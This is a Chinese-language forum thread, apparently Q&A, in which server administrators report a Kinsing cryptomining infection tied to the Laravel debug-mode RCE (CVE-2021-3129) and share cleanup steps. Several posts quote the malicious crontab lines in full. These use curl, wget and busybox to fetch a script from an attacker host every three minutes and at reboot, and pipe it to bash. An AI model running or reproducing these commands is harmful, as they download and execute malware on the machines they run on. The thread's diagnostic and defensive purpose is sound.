我发现在公司服务器中有一个使用以下代码运行的 crontab：
*/3 * * * * curl -sk "http://repo1.criticalnumeric.tech/kworker?time=1612899272" | bash;wget "http://repo1.criticalnumeric.tech/kworker?time=1612899272" -q -o /dev/null -O - | bash;busybox wget "http://repo1.criticalnumeric.tech/kworker?time=1612899272" -q -O - | bash
如果您访问该 URL，它会显示：
“这是存储库 linux 的官方页面”
这很奇怪，我们的工程师都没有在 crontab 上添加这个，这让我觉得这可能是一次攻击。
有什么想法吗？
如果您的服务器正在托管使用Laravel框架构建的 Web 应用程序，并且您的调试模式已打开，那么您可能正在遭受最近的 RCE（远程代码执行）漏洞利用。
关于 bug 技术细节的博文：https ://www.ambionics.io/blog/laravel-debug-rce
CVE：https ://nvd.nist.gov/vuln/detail/CVE-2021-3129
我的专业建议：永远不要在生产环境中打开调试模式运行您的应用程序。
kinsing 恶意软件是这次攻击的罪魁祸首，它控制了 crontab 以维护受感染的服务器，我有过这种攻击的经验，对我来说，清理服务器的唯一方法是备份所有重要数据并从 cero 重新安装，我遵循了所有的方法，但没有任何方法可以阻止它，这种攻击最重要的是更改 cron 选项卡文件的权限，避免恶意软件覆盖它。
另一个重要的事情是查看 .ssh 对受感染用户的权限，因为这会阻止使用 ssh 密钥登录，您必须将权限恢复到原始状态才能再次授予访问权限。
搜索 /var/tmp 中某处的 kdevtmpfsi 可执行文件，将其删除并创建一个具有相同名称且所有权限为 000 的虚拟文件，此操作不是治愈方法，而是用于获得时间备份。
我认为这与下面链接上的问题有关。我在我们的一台服务器上看到类似的条目出现在 ps aux 命令的结果中。如果你不走运，你会发现 kdevtmpfsi 现在占用了你所有的 CPU。
我有同样的问题。Debian 10 服务器。
我检查了 htop 并发现了这些：
curl -kL http://repo1.criticalnumeric.tech/scripts/cnc/install?time=1613422342
和
bash /tmp/.ssh-www-data/kswapd4
两者都在 www-data 用户下。这些进程正在使用全部资源（CPU 和内存）。
在 www-data cron 中发现了一些奇怪的东西
root@***:/var/www# cat /var/spool/cron/crontabs/www-data
# DO NOT EDIT THIS FILE - edit the master and reinstall.
# (/tmp/tmp.eK8YZtGlIC/.sync.log installed on Mon Feb 15 23:27:41 2021)
# (Cron version -- $Id: crontab.c,v 2.13 1994/01/17 03:20:37 vixie Exp $)
*/3 * * * * curl -sk "http://repo1.criticalnumeric.tech/init?time=1613424461" | bash && wget "http://repo1.criticalnumeric.tech/init?time=1613424461" -q -o /dev/null -O - | bash && busybox wget "http://repo1.criticalnumeric.tech/init?time=1613424461" -q -O - | bash
@reboot curl -sk "http://repo1.criticalnumeric.tech/init?time=1613424461" | bash && wget "http://repo1.criticalnumeric.tech/init?time=1613424461" -q -o /dev/null -O - | bash && busybox wget "http://repo1.criticalnumeric.tech/init?time=1613424461" -q -O - | bash
我想我必须在我的服务器上重新安装 Debian 10 ......或者如何清理它？
我们在 2 月 13 日进行了同样的攻击，我将权限更改为 crontab 目录，仅将 rwx 更改为 root。在我们使用“killall -u www-data -9”杀死所有 www-data 进程之前，到目前为止，没有其他违规进程实例......将继续监控。我们也禁用了 curl 因为我们不需要它。